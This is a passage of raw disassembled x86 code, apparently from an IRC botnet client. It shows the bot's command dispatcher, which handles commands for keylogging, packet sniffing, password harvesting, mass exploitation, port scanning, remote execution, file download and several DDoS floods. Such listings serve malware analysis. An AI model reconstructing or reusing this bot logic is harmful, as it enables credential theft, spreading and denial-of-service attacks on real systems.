aLoginList ; "-[Login List]-" push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_40D670 add esp, 14h loc_4105D2: ; CODE XREF: sub_40EE51+1765j mov edi, [ebp+Str1] xor esi, esi loc_4105D7: ; CODE XREF: sub_40EE51+17CCj cmp [edi], bl lea eax, [edi+1] jnz short loc_4105E3 mov eax, offset aEmpty ; "<Empty>" loc_4105E3: ; CODE XREF: sub_40EE51+178Bj push eax push esi lea eax, [ebp+Dst] push offset aD_S ; "%d. %s" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_40D670 add esp, 24h inc esi add edi, 80h cmp esi, 2 jl short loc_4105D7 push offset dword_436E2C loc_410624: ; CODE XREF: sub_40EE51+5C3Aj call sub_40BF6F pop ecx jmp loc_414F3C ; --------------------------------------------------------------------------- loc_41062F: ; CODE XREF: sub_40EE51+1760j push edi ; Str2 push offset aCom_getclip ; "com.getclip" call _strcmp pop ecx test eax, eax pop ecx jz loc_414540 push edi ; Str2 push offset aCom_gc ; "com.gc" call _strcmp pop ecx test eax, eax pop ecx jz loc_414540 push edi ; Str2 push offset aUtil_flusharp ; "util.flusharp" call _strcmp pop ecx test eax, eax pop ecx jz loc_414515 push edi ; Str2 push offset aUtil_farp ; "util.farp" call _strcmp pop ecx test eax, eax pop ecx jz loc_414515 push edi ; Str2 push offset aUtil_flushdns ; "util.flushdns" call _strcmp pop ecx test eax, eax pop ecx jz loc_4144F1 push edi ; Str2 push offset aUtil_fdns ; "util.fdns" call _strcmp pop ecx test eax, eax pop ecx jz loc_4144F1 push edi ; Str2 push offset aRoot_currentip ; "root.currentip" call _strcmp pop ecx test eax, eax pop ecx jz loc_4144B4 push edi ; Str2 push offset aRoot_cip ; "root.cip" call _strcmp pop ecx test eax, eax pop ecx jz loc_4144B4 push edi ; Str2 push offset aDaemon_rlogi_0 ; "daemon.rlogin.on" call _strcmp pop ecx test eax, eax pop ecx jz loc_414366 push edi ; Str2 push offset aDaemon_rl_on ; "daemon.rl.on" call _strcmp pop ecx test eax, eax pop ecx jz loc_414366 push edi ; Str2 push offset aDaemon_httpd_o ; "daemon.httpd.on" call _strcmp pop ecx test eax, eax pop ecx jz loc_4141F0 push edi ; Str2 push offset aDaemon_web_on ; "daemon.web.on" call _strcmp pop ecx test eax, eax pop ecx jz loc_4141F0 push edi ; Str2 push offset aDaemon_tftp_on ; "daemon.tftp.on" call _strcmp pop ecx test eax, eax pop ecx jz loc_4140B2 push edi ; Str2 push offset aDaemon_tf_on ; "daemon.tf.on" call _strcmp pop ecx test eax, eax pop ecx jz loc_4140B2 push edi ; Str2 push offset aCom_findpass ; "com.findpass" call _strcmp pop ecx test eax, eax pop ecx jz loc_41400B push edi ; Str2 push offset aCom_fp ; "com.fp" call _strcmp pop ecx test eax, eax pop ecx jz loc_41400B push edi ; Str2 push offset aRoot_massexplo ; "root.massexploit" call _strcmp pop ecx test eax, eax pop ecx jz loc_413D0C push edi ; Str2 push offset aRoot_mass ; "root.mass" call _strcmp pop ecx test eax, eax pop ecx jz loc_413D0C mov edi, [ebp+esi+var_90] cmp edi, ebx jz loc_40F215 push [ebp+arg_8] ; Str2 push offset aIrc_nick ; "irc.nick" call _strcmp pop ecx test eax, eax pop ecx jz loc_413CF3 push [ebp+arg_8] ; Str2 push offset aIrc_n ; "irc.n" call _strcmp pop ecx test eax, eax pop ecx jz loc_413CF3 push [ebp+arg_8] ; Str2 push offset aDsho ; "dsho" call _strcmp pop ecx test eax, eax pop ecx jz loc_413CD3 push [ebp+arg_8] ; Str2 push offset aDsho ; "dsho" call _strcmp pop ecx test eax, eax pop ecx jz loc_413CD3 push [ebp+arg_8] ; Str2 push offset aBara ; "bara" call _strcmp pop ecx test eax, eax pop ecx jz loc_413CBA push [ebp+arg_8] ; Str2 push offset aBara ; "bara" call _strcmp pop ecx test eax, eax pop ecx jz loc_413CBA push [ebp+arg_8] ; Str2 push offset aIrc_raw ; "irc.raw" call _strcmp pop ecx test eax, eax pop ecx jz loc_413C83 push [ebp+arg_8] ; Str2 push offset aIrc_ra ; "irc.ra" call _strcmp pop ecx test eax, eax pop ecx jz loc_413C83 push [ebp+arg_8] ; Str2 push offset aThreads_kill ; "threads.kill" call _strcmp pop ecx test eax, eax pop ecx jz loc_413BB1 push [ebp+arg_8] ; Str2 push offset aThreads_k ; "threads.k" call _strcmp pop ecx test eax, eax pop ecx jz loc_413BB1 push [ebp+arg_8] ; Str2 push offset aClone_quit ; "clone.quit" call _strcmp pop ecx test eax, eax pop ecx jz loc_413B08 push [ebp+arg_8] ; Str2 push offset aClone_q ; "clone.q" call _strcmp pop ecx test eax, eax pop ecx jz loc_413B08 push [ebp+arg_8] ; Str2 push offset aClone_rndnick ; "clone.rndnick" call _strcmp pop ecx test eax, eax pop ecx jz loc_413ABD push [ebp+arg_8] ; Str2 push offset aClone_rn ; "clone.rn" call _strcmp pop ecx test eax, eax pop ecx jz loc_413ABD push [ebp+arg_8] ; Str2 push offset aIrc_prefix ; "irc.prefix" call _strcmp pop ecx test eax, eax pop ecx jz loc_413AA8 push [ebp+arg_8] ; Str2 push offset aIrc_pr ; "irc.pr" call _strcmp pop ecx test eax, eax pop ecx jz loc_413AA8 push [ebp+arg_8] ; Str2 push offset aCom_open ; "com.open" call _strcmp pop ecx test eax, eax pop ecx jz loc_413A7E push [ebp+arg_8] ; Str2 push offset aCom_o ; "com.o" call _strcmp pop ecx test eax, eax pop ecx jz loc_413A7E push [ebp+arg_8] ; Str2 push offset aIrc_setserve ; "irc.setserve" call _strcmp pop ecx test eax, eax pop ecx jz loc_413A59 push [ebp+arg_8] ; Str2 push offset aIrc_se ; "irc.se" call _strcmp pop ecx test eax, eax pop ecx jz loc_413A59 push [ebp+arg_8] ; Str2 push offset aIrc_dns ; "irc.dns" call _strcmp pop ecx test eax, eax pop ecx jz loc_4139C7 push [ebp+arg_8] ; Str2 push offset aIrc_dn ; "irc.dn" call _strcmp pop ecx test eax, eax pop ecx jz loc_4139C7 push [ebp+arg_8] ; Str2 push offset aCom_killprocna ; "com.killprocname" call _strcmp pop ecx test eax, eax pop ecx jz loc_41399B push [ebp+arg_8] ; Str2 push offset aCom_kpn ; "com.kpn" call _strcmp pop ecx test eax, eax pop ecx jz loc_41399B push [ebp+arg_8] ; Str2 push offset aCom_prockillid ; "com.prockillid" call _strcmp pop ecx test eax, eax pop ecx jz loc_413940 push [ebp+arg_8] ; Str2 push offset aCom_pkid ; "com.pkid" call _strcmp pop ecx test eax, eax pop ecx jz loc_413940 push [ebp+arg_8] ; Str2 push offset aCom_delete ; "com.delete" call _strcmp pop ecx test eax, eax pop ecx jz loc_413909 push [ebp+arg_8] ; Str2 push offset aCom_del ; "com.del" call _strcmp pop ecx test eax, eax pop ecx jz loc_413909 push [ebp+arg_8] ; Str2 push offset aDcc_get ; "dcc.get" call _strcmp pop ecx test eax, eax pop ecx jz loc_413828 push [ebp+arg_8] ; Str2 push offset aDcc_gt ; "dcc.gt" call _strcmp pop ecx test eax, eax pop ecx jz loc_413828 push [ebp+arg_8] ; Str2 push offset aCom_filelist ; "com.filelist" call _strcmp pop ecx test eax, eax pop ecx jz loc_41380D push [ebp+arg_8] ; Str2 push offset aCom_fl ; "com.fl" call _strcmp pop ecx test eax, eax pop ecx jz loc_41380D push [ebp+arg_8] ; Str2 push offset aIrc_visit ; "irc.visit" call _strcmp pop ecx test eax, eax pop ecx jz loc_41372F push [ebp+arg_8] ; Str2 push offset aIrc_v ; "irc.v" call _strcmp pop ecx test eax, eax pop ecx jz loc_41372F push [ebp+arg_8] ; Str2 push offset aMirc_cmd ; "mirc.cmd" call _strcmp pop ecx test eax, eax pop ecx jz loc_4136F4 push [ebp+arg_8] ; Str2 push offset aMirc_cmd ; "mirc.cmd" call _strcmp pop ecx test eax, eax pop ecx jz loc_4136F4 push [ebp+arg_8] ; Str2 push offset aCom_cmd ; "com.cmd" call _strcmp pop ecx test eax, eax pop ecx jz loc_4136A9 push [ebp+arg_8] ; Str2 push offset aCom_cm ; "com.cm" call _strcmp pop ecx test eax, eax pop ecx jz loc_4136A9 push [ebp+arg_8] ; Str2 push offset aCom_readfile ; "com.readfile" call _strcmp pop ecx test eax, eax pop ecx jz loc_413624 push [ebp+arg_8] ; Str2 push offset aCom_rf ; "com.rf" call _strcmp pop ecx test eax, eax pop ecx jz loc_413624 push [ebp+arg_8] ; Str2 push offset aSniff ; "sniff" call _strcmp pop ecx test eax, eax pop ecx jnz loc_410C9A push edi ; Str2 push offset aOn ; "on" call _strcmp pop ecx test eax, eax pop ecx jnz loc_410C65 push 19h call sub_416F90 test eax, eax pop ecx jle short loc_410B92 push offset unk_436B60 jmp loc_410D06 ; --------------------------------------------------------------------------- loc_410B92: ; CODE XREF: sub_40EE51+1D35j mov eax, [ebp+arg_4] mov esi, [ebp+esi+Format] mov [ebp+var_4F0], eax mov eax, [ebp+var_4] mov [ebp+var_468], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_464], eax jnz short loc_410BD4 mov esi, offset aS_3 ; "#!S#" push offset byte_4397BC ; Str2 push esi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_410BD4 mov esi, [ebp+Format] loc_410BD4: ; CODE XREF: sub_40EE51+1D65j ; sub_40EE51+1D7Bj push esi ; Format lea eax, [ebp+var_4EC] push 80h ; Count push eax ; Dest call __snprintf lea eax, [ebp+Dst] push offset unk_436B20 ; Format push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 19h ; int push eax ; Source call sub_416D48 add esp, 20h mov [ebp+var_46C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4F0] push ebx push eax push offset sub_40267F push ebx push ebx call ds:dword_42309C mov ecx, [ebp+var_46C] imul ecx, 234h cmp eax, ebx mov ds:dword_442084[ecx], eax jz short loc_410C54 loc_410C3E: ; CODE XREF: sub_40EE51+1E01j cmp [ebp+var_460], ebx jnz loc_410E22 push 32h call ds:dword_423060 ; Sleep jmp short loc_410C3E ; --------------------------------------------------------------------------- loc_410C54: ; CODE XREF: sub_40EE51+1DEBj call ds:dword_423088 ; RtlGetLastWin32Error push eax push offset unk_436AD4 jmp loc_410E13 ; --------------------------------------------------------------------------- loc_410C65: ; CODE XREF: sub_40EE51+1D25j push edi ; Str2 push offset aOff ; "off" call _strcmp pop ecx test eax, eax pop ecx jnz loc_410E22 push ebx push 19h call sub_416F43 pop ecx cmp eax, ebx pop ecx jle short loc_410C93 push eax push offset unk_436A88 jmp loc_410E13 ; --------------------------------------------------------------------------- loc_410C93: ; CODE XREF: sub_40EE51+1E35j push offset unk_436A50 jmp short loc_410D06 ; --------------------------------------------------------------------------- loc_410C9A: ; CODE XREF: sub_40EE51+1D10j push [ebp+arg_8] ; Str2 push offset aCom_keylog ; "com.keylog" call _strcmp pop ecx test eax, eax pop ecx jnz loc_410E4C push edi ; Str2 push offset aOn ; "on" call _strcmp pop ecx test eax, eax pop ecx jz short loc_410D19 push edi ; Str2 push offset aFile ; "file" call _strcmp pop ecx test eax, eax pop ecx jz short loc_410D19 push edi ; Str2 push offset aOff ; "off" call _strcmp pop ecx test eax, eax pop ecx jnz loc_410E22 push ebx push 1Bh call sub_416F43 pop ecx cmp eax, ebx pop ecx jle short loc_410D01 push eax push offset unk_4369F8 jmp loc_410E13 ; --------------------------------------------------------------------------- loc_410D01: ; CODE XREF: sub_40EE51+1EA3j push offset unk_4369BC ; Format loc_410D06: ; CODE XREF: sub_40EE51+1D3Cj ; sub_40EE51+1E47j ... lea eax, [ebp+Dst] push eax ; Dest call _sprintf pop ecx pop ecx jmp loc_410E22 ; --------------------------------------------------------------------------- loc_410D19: ; CODE XREF: sub_40EE51+1E6Fj ; sub_40EE51+1E80j push 1Bh call sub_416F90 test eax, eax pop ecx jle short loc_410D2C push offset unk_43698C jmp short loc_410D06 ; --------------------------------------------------------------------------- loc_410D2C: ; CODE XREF: sub_40EE51+1ED2j mov eax, [ebp+arg_4] push edi ; Str2 mov [ebp+var_4F0], eax mov eax, [ebp+var_4] push offset aFile ; "file" mov [ebp+var_468], eax call _strcmp pop ecx test eax, eax pop ecx jnz short loc_410D5B mov [ebp+var_464], 1 jmp short loc_410D64 ; --------------------------------------------------------------------------- loc_410D5B: ; CODE XREF: sub_40EE51+1EFCj mov eax, [ebp+var_8] mov [ebp+var_464], eax loc_410D64: ; CODE XREF: sub_40EE51+1F08j mov esi, [ebp+esi+Format] cmp esi, ebx jnz short loc_410D8B mov esi, offset aS_4 ; "#!S#" push offset byte_4397BC ; Str2 push esi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_410D8B mov esi, [ebp+Format] loc_410D8B: ; CODE XREF: sub_40EE51+1F1Cj ; sub_40EE51+1F32j push esi ; Format lea eax, [ebp+var_4E8] push 80h ; Count push eax ; Dest call __snprintf lea eax, [ebp+Dst] push offset unk_43695C ; Format push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 1Bh ; int push eax ; Source call sub_416D48 add esp, 20h mov [ebp+var_4EC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4F0] push ebx push eax push offset sub_40239E push ebx push ebx call ds:dword_42309C mov ecx, [ebp+var_4EC] imul ecx, 234h cmp eax, ebx mov ds:dword_442084[ecx], eax jz short loc_410E07 loc_410DF5: ; CODE XREF: sub_40EE51+1FB4j cmp [ebp+var_460], ebx jnz short loc_410E22 push 32h call ds:dword_423060 ; Sleep jmp short loc_410DF5 ; --------------------------------------------------------------------------- loc_410E07: ; CODE XREF: sub_40EE51+1FA2j call ds:dword_423088 ; RtlGetLastWin32Error push eax push offset unk_436910 ; Format loc_410E13: ; CODE XREF: sub_40EE51+1E0Fj ; sub_40EE51+1E3Dj ... lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch loc_410E22: ; CODE XREF: sub_40EE51+1DF3j ; sub_40EE51+1E23j ... cmp [ebp+var_8], ebx jnz loc_40F7F5 push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_40D670 add esp, 14h jmp loc_40F7F5 ; --------------------------------------------------------------------------- loc_410E4C: ; CODE XREF: sub_40EE51+1E5Aj push [ebp+arg_8] ; Str2 push offset aCom_net ; "com.net" call _strcmp pop ecx test eax, eax pop ecx jnz loc_41111D cmp ds:dword_43C6E8, ebx jz short loc_410E7D cmp ds:dword_43C710, ebx jz short loc_410E7D push offset dword_4368C0 jmp loc_4110D7 ; --------------------------------------------------------------------------- loc_410E7D: ; CODE XREF: sub_40EE51+2018j ; sub_40EE51+2020j cmp [ebp+var_C], ebx jz loc_4110E5 mov eax, [ebp+esi+Format] mov [ebp+Src], ebx cmp eax, ebx mov [ebp+Str1], eax jz short loc_410EA5 push eax ; SubStr push [ebp+var_C] ; Str call _strstr pop ecx mov [ebp+Src], eax pop ecx loc_410EA5: ; CODE XREF: sub_40EE51+2044j push edi ; Str2 push offset aStart ; "start" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_410F0B cmp [ebp+Str1], ebx jz short loc_410EDF push [ebp+Src] push 3 loc_410EC0: ; CODE XREF: sub_40EE51+20D0j ; sub_40EE51+20E8j ... call sub_40D70B push eax lea eax, [ebp+Dst] push offset aS_1 ; "%s" push eax ; Dest call _sprintf add esp, 14h jmp loc_4110E5 ; --------------------------------------------------------------------------- loc_410EDF: ; CODE XREF: sub_40EE51+2068j push [ebp+var_4] ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_40D9B2 add esp, 0Ch test eax, eax jz short loc_410F01 push offset dword_43688C jmp loc_4110D7 ; --------------------------------------------------------------------------- loc_410F01: ; CODE XREF: sub_40EE51+20A4j push offset dword_43685C jmp loc_4110D7 ; --------------------------------------------------------------------------- loc_410F0B: ; CODE XREF: sub_40EE51+2063j push edi ; Str2 push offset aStop ; "stop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_410F23 push [ebp+Src] push 4 jmp short loc_410EC0 ; --------------------------------------------------------------------------- loc_410F23: ; CODE XREF: sub_40EE51+20C9j push edi ; Str2 push offset aPause ; "pause" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_410F3B push [ebp+Src] push 5 jmp short loc_410EC0 ; --------------------------------------------------------------------------- loc_410F3B: ; CODE XREF: sub_40EE51+20E1j push edi ; Str2 push offset aContinue ; "continue" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_410F56 push [ebp+Src] push 6 jmp loc_410EC0 ; --------------------------------------------------------------------------- loc_410F56: ; CODE XREF: sub_40EE51+20F9j push edi ; Str2 push offset aDelete ; "delete" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_410F71 push [ebp+Src] push 1 jmp loc_410EC0 ; --------------------------------------------------------------------------- loc_410F71: ; CODE XREF: sub_40EE51+2114j push edi ; Str2 push offset aShare ; "share" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_410FEE cmp [ebp+Str1], ebx jz short loc_410FC1 cmp [ebp+var_9C4], bl jz short loc_410F97 push ebx push [ebp+Str1] push 1 jmp short loc_410FA2 ; --------------------------------------------------------------------------- loc_410F97: ; CODE XREF: sub_40EE51+213Cj push [ebp+esi+var_88] ; int push [ebp+Str1] ; Str push ebx ; int loc_410FA2: ; CODE XREF: sub_40EE51+2144j call sub_40DAEF push eax lea eax, [ebp+Dst] push offset aS_1 ; "%s" push eax ; Dest call _sprintf add esp, 18h jmp loc_4110E5 ; --------------------------------------------------------------------------- loc_410FC1: ; CODE XREF: sub_40EE51+2134j push ebx ; int push [ebp+var_4] ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_40DCE4 add esp, 10h test eax, eax jz short loc_410FE4 push offset dword_43680C jmp loc_4110D7 ; --------------------------------------------------------------------------- loc_410FE4: ; CODE XREF: sub_40EE51+2187j push offset dword_4367DC jmp loc_4110D7 ; --------------------------------------------------------------------------- loc_410FEE: ; CODE XREF: sub_40EE51+212Fj push edi ; Str2 push offset aUser ; "user" call _strcmp pop ecx test eax, eax pop ecx jnz loc_41108A mov eax, [ebp+Str1] cmp eax, ebx jz short loc_411063 cmp [ebp+var_9C4], bl jz short loc_411024 push [ebp+var_4] push [ebp+Format] push [ebp+arg_4] push ebx push eax push 1 jmp short loc_411044 ; --------------------------------------------------------------------------- loc_411024: ; CODE XREF: sub_40EE51+21BFj push [ebp+var_4] ; int mov esi, [ebp+esi+var_88] cmp esi, ebx push [ebp+Format] ; Str push [ebp+arg_4] ; int jz short loc_411040 push esi push eax push ebx jmp short loc_411044 ; --------------------------------------------------------------------------- loc_411040: ; CODE XREF: sub_40EE51+21E8j push ebx ; int push eax ; int push 2 ; int loc_411044: ; CODE XREF: sub_40EE51+21D1j ; sub_40EE51+21EDj call sub_40DE05 push eax lea eax, [ebp+Dst] push offset aS_1 ; "%s" push eax ; Dest call _sprintf add esp, 24h jmp loc_4110E5 ; --------------------------------------------------------------------------- loc_411063: ; CODE XREF: sub_40EE51+21B7j push ebx ; int push [ebp+var_4] ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_40E319 add esp, 10h test eax, eax jz short loc_411083 push offset dword_4367A4 jmp short loc_4110D7 ; --------------------------------------------------------------------------- loc_411083: ; CODE XREF: sub_40EE51+2229j push offset dword_436778 jmp short loc_4110D7 ; --------------------------------------------------------------------------- loc_41108A: ; CODE XREF: sub_40EE51+21ACj push edi ; Str2 push offset aSend ; "send" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_4110D2 cmp [ebp+Str1], ebx jz short loc_4110CB push [ebp+var_4] push [ebp+Format] push [ebp+arg_4] push [ebp+Src] ; Source call sub_40E5CD push eax lea eax, [ebp+Dst] push offset aS_1 ; "%s" push eax ; Dest call _sprintf add esp, 1Ch jmp short loc_4110E5 ; --------------------------------------------------------------------------- loc_4110CB: ; CODE XREF: sub_40EE51+224Dj push offset dword_436748 jmp short loc_4110D7 ; --------------------------------------------------------------------------- loc_4110D2: ; CODE XREF: sub_40EE51+2248j push offset dword_43671C ; Format loc_4110D7: ; CODE XREF: sub_40EE51+2027j ; sub_40EE51+20ABj ... lea eax, [ebp+Dst] push eax ; Dest call _sprintf pop ecx pop ecx loc_4110E5: ; CODE XREF: sub_40EE51+202Fj ; sub_40EE51+2089j ... cmp [ebp+var_8], ebx jnz short loc_411106 push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_40D670 add esp, 14h loc_411106: ; CODE XREF: sub_40EE51+2297j ; sub_40EE51+4848j ... mov esi, [ebp+File] loc_411109: ; CODE XREF: sub_40EE51+9A7j ; sub_40EE51+4B23j ... lea eax, [ebp+Dst] push eax call sub_40BF6F pop ecx mov eax, esi jmp loc_40F218 ; --------------------------------------------------------------------------- loc_41111D: ; CODE XREF: sub_40EE51+200Cj push [ebp+arg_8] ; Str2 push offset aCom_capture ; "com.capture" call _strcmp pop ecx test eax, eax pop ecx jz loc_4133E1 push [ebp+arg_8] ; Str2 push offset aCom_cap ; "com.cap" call _strcmp pop ecx test eax, eax pop ecx jz loc_4133E1 push [ebp+arg_8] ; Str2 push offset aIrc_gethost ; "irc.gethost" call _strcmp pop ecx test eax, eax pop ecx jz loc_4132FD push [ebp+arg_8] ; Str2 push offset aIrc_gh ; "irc.gh" call _strcmp pop ecx test eax, eax pop ecx jz loc_4132FD mov eax, [ebp+esi+Format] cmp eax, ebx mov [ebp+Str1], eax jz loc_40F215 push [ebp+arg_8] ; Str2 push offset aIrc_addalias ; "irc.addalias" call _strcmp pop ecx test eax, eax pop ecx jz loc_4132BE push [ebp+arg_8] ; Str2 push offset aIrc_aa ; "irc.aa" call _strcmp pop ecx test eax, eax pop ecx jz loc_4132BE push [ebp+arg_8] ; Str2 push offset aIrc_privmsg ; "irc.privmsg" call _strcmp pop ecx test eax, eax pop ecx jz loc_41326B push [ebp+arg_8] ; Str2 push offset aIrc_pm ; "irc.pm" call _strcmp pop ecx test eax, eax pop ecx jz loc_41326B push [ebp+arg_8] ; Str2 push offset aIrc_action ; "irc.action" call _strcmp pop ecx test eax, eax pop ecx jz loc_4131FD push [ebp+arg_8] ; Str2 push offset aIrc_ac ; "irc.ac" call _strcmp pop ecx test eax, eax pop ecx jz loc_4131FD push [ebp+arg_8] ; Str2 push offset aIrc_cycle ; "irc.cycle" call _strcmp pop ecx test eax, eax pop ecx jz loc_41319A push [ebp+arg_8] ; Str2 push offset aIrc_cy ; "irc.cy" call _strcmp pop ecx test eax, eax pop ecx jz loc_41319A push [ebp+arg_8] ; Str2 push offset aIrc_mode ; "irc.mode" call _strcmp pop ecx test eax, eax pop ecx jz loc_41315B push [ebp+arg_8] ; Str2 push offset aIrc_m ; "irc.m" call _strcmp pop ecx test eax, eax pop ecx jz loc_41315B push [ebp+arg_8] ; Str2 push offset aClone_raw ; "clone.raw" call _strcmp pop ecx test eax, eax pop ecx jz loc_4130F0 push [ebp+arg_8] ; Str2 push offset aClone_ra ; "clone.ra" call _strcmp pop ecx test eax, eax pop ecx jz loc_4130F0 push [ebp+arg_8] ; Str2 push offset aClone_mode ; "clone.mode" call _strcmp pop ecx test eax, eax pop ecx jz loc_41306E push [ebp+arg_8] ; Str2 push offset aClone_m ; "clone.m" call _strcmp pop ecx test eax, eax pop ecx jz loc_41306E push [ebp+arg_8] ; Str2 push offset aClone_nick ; "clone.nick" call _strcmp pop ecx test eax, eax pop ecx jz loc_412FFD push [ebp+arg_8] ; Str2 push offset aClone_ni ; "clone.ni" call _strcmp pop ecx test eax, eax pop ecx jz loc_412FFD push [ebp+arg_8] ; Str2 push offset aClone_join ; "clone.join" call _strcmp pop ecx test eax, eax pop ecx jz loc_412FD7 push [ebp+arg_8] ; Str2 push offset aClone_j ; "clone.j" call _strcmp pop ecx test eax, eax pop ecx jz loc_412FD7 push [ebp+arg_8] ; Str2 push offset aClone_part ; "clone.part" call _strcmp pop ecx test eax, eax pop ecx jz loc_412F74 push [ebp+arg_8] ; Str2 push offset aClone_p ; "clone.p" call _strcmp pop ecx test eax, eax pop ecx jz loc_412F74 push [ebp+arg_8] ; Str2 push offset aIrc_repeat ; "irc.repeat" call _strcmp pop ecx test eax, eax pop ecx jz loc_412EAE push [ebp+arg_8] ; Str2 push offset aIrc_rp ; "irc.rp" call _strcmp pop ecx test eax, eax pop ecx jz loc_412EAE push [ebp+arg_8] ; Str2 push offset aIrc_delay ; "irc.delay" call _strcmp pop ecx test eax, eax pop ecx jz loc_412E13 push [ebp+arg_8] ; Str2 push offset aIrc_de ; "irc.de" call _strcmp pop ecx test eax, eax pop ecx jz loc_412E13 push [ebp+arg_8] ; Str2 push offset aUp50 ; "up50" call _strcmp pop ecx test eax, eax pop ecx jz loc_412C95 push [ebp+arg_8] ; Str2 push offset aUp50 ; "up50" call _strcmp pop ecx test eax, eax pop ecx jz loc_412C95 push [ebp+arg_8] ; Str2 push offset aCom_execute ; "com.execute" call _strcmp pop ecx test eax, eax pop ecx jz loc_412C02 push [ebp+arg_8] ; Str2 push offset aCom_e ; "com.e" call _strcmp pop ecx test eax, eax pop ecx jz loc_412C02 push [ebp+arg_8] ; Str2 push offset aFindfile ; "findfile" call _strcmp pop ecx test eax, eax pop ecx jz loc_412B04 push [ebp+arg_8] ; Str2 push offset aFf ; "ff" call _strcmp pop ecx test eax, eax pop ecx jz loc_412B04 push [ebp+arg_8] ; Str2 push offset aCom_rename ; "com.rename" call _strcmp pop ecx test eax, eax pop ecx jz loc_412AB3 push [ebp+arg_8] ; Str2 push offset aCom_mv ; "com.mv" call _strcmp pop ecx test eax, eax pop ecx jz loc_412AB3 push [ebp+arg_8] ; Str2 push offset aDdos_icmp ; "ddos.icmp" call _strcmp pop ecx test eax, eax pop ecx jz loc_4129B8 push [ebp+arg_8] ; Str2 push offset aDdos_ic ; "ddos.ic" call _strcmp pop ecx test eax, eax pop ecx jz loc_4129B8 mov eax, [ebp+esi+var_88] cmp eax, ebx mov [ebp+Src], eax jz loc_40F215 push [ebp+arg_8] ; Str2 push offset aClone_make ; "clone.make" call _strcmp pop ecx test eax, eax pop ecx jz loc_4128CD push [ebp+arg_8] ; Str2 push offset aClone_start ; "clone.start" call _strcmp pop ecx test eax, eax pop ecx jz loc_4128CD push [ebp+arg_8] ; Str2 push offset Str2 ; "ddos.syn" call _strcmp pop ecx test eax, eax pop ecx jz loc_4127C8 push [ebp+arg_8] ; Str2 push offset aDdos_ack ; "ddos.ack" call _strcmp pop ecx test eax, eax pop ecx jz loc_4127C8 push [ebp+arg_8] ; Str2 push offset aDdos_random ; "ddos.random" call _strcmp pop ecx test eax, eax pop ecx jz loc_4127C8 push [ebp+arg_8] ; Str2 push offset aDdos_synflood ; "ddos.synflood" call _strcmp pop ecx test eax, eax pop ecx jz loc_4126CA push [ebp+arg_8] ; Str2 push offset aDdos_synf ; "ddos.synf" call _strcmp pop ecx test eax, eax pop ecx jz loc_4126CA push [ebp+arg_8] ; Str2 push offset aVSt4w1n ; "v!st4w1n" call _strcmp pop ecx test eax, eax pop ecx jz loc_41258C push [ebp+arg_8] ; Str2 push offset aVSt4wN ; "v!st4w!n" call _strcmp pop ecx test eax, eax pop ecx jz loc_41258C push [ebp+arg_8] ; Str2 push offset aDaemon_redirec ; "daemon.redirect" call _strcmp pop ecx test eax, eax pop ecx jz loc_412492 push [ebp+arg_8] ; Str2 push offset aDaemon_rd ; "daemon.rd" call _strcmp pop ecx test eax, eax pop ecx jz loc_412492 push [ebp+arg_8] ; Str2 push offset aRoot_portscan ; "root.portscan" call _strcmp pop ecx test eax, eax pop ecx jz loc_41239F push [ebp+arg_8] ; Str2 push offset aRoot_ps ; "root.ps" call _strcmp pop ecx test eax, eax pop ecx jz loc_41239F push [ebp+arg_8] ; Str2 push offset aClone_privmsg ; "clone.privmsg" call _strcmp pop ecx test eax, eax pop ecx jz loc_4122CA push [ebp+arg_8] ; Str2 push offset aClone_pm ; "clone.pm" call _strcmp pop ecx test eax, eax pop ecx jz loc_4122CA push [ebp+arg_8] ; Str2 push offset aClone_action ; "clone.action" call _strcmp pop ecx test eax, eax pop ecx jz loc_4121B5 push [ebp+arg_8] ; Str2 push offset aClone_ac ; "clone.ac" call _strcmp pop ecx test eax, eax pop ecx jz loc_4121B5 mov eax, dword ptr [ebp+esi+Args] cmp eax, ebx mov [ebp+Source], eax jz loc_40F215 push [ebp+arg_8] ; Str2 push offset aRoot_start ; "root.start" call _strcmp pop ecx test eax, eax pop ecx jz loc_411E5C push [ebp+arg_8] ; Str2 push offset aRoot_s ; "root.s" call _strcmp pop ecx test eax, eax pop ecx jz loc_411E5C push [ebp+arg_8] ; Str2 push offset aDdos_udpflood ; "ddos.udpflood" call _strcmp pop ecx test eax, eax pop ecx jz loc_411D3C push [ebp+arg_8] ; Str2 push offset aDdos_udpf ; "ddos.udpf" call _strcmp pop ecx test eax, eax pop ecx jz loc_411D3C push [ebp+arg_8] ; Str2 push offset aU_0 ; "u" call _strcmp pop ecx test eax, eax pop ecx jz loc_411D3C push [ebp+arg_8] ; Str2 push offset aDdos_pingflood ; "ddos.pingflood" call _strcmp pop ecx test eax, eax pop ecx jz loc_411BFB push [ebp+arg_8] ; Str2 push offset aDdos_pingf ; "ddos.pingf" call _strcmp pop ecx test eax, eax pop ecx jz loc_411BFB push [ebp+arg_8] ; Str2 push offset aP_0 ; "p" call _strcmp pop ecx test eax, eax pop ecx jz loc_411BFB push [ebp+arg_8] ; Str2 push offset aDdos_tcpflood ; "ddos.tcpflood" call _strcmp pop ecx test eax, eax pop ecx jz loc_411A68 push [ebp+arg_8] ; Str2 